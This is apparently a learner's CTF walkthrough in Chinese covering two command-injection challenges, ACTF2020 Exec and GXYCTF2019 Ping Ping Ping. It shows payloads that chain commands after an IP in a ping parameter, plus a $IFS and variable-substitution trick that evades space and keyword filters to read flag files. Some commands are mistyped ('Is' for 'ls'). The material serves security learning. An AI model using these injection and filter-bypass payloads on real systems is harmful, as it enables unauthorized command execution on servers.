网安学习第十二天

ACTF2020 新生赛 Exec1

步骤：

1.测试ping 127.0.0.1

2.测试ping 127.0.0.1&Is

3.测试ping 127.0.0.1&Is/，发现目录有flag

4.输入127.0.0.1&cat/flag，即可得到flag

 

GXYCTF2019 Ping Ping Ping1

步骤：

1.尝试ping 127.0.0.1

2.尝试查看当前目录下的文件

？ip=127.0.0.1;Is

3.查看flag.php

？ip=127.0.0.1;cat flag.php

系统提示空格被过滤

再使用?ip=127.0.0.1;cat;flag.php

系统提示flag被过滤

3.利用参数替代的方法

?ip=127.0.0.1;b=g;cat$IFS$fla$b.php

即可得到flag

注：

1.以上所有指令均在url上进行

2.tac函数是cat函数的反写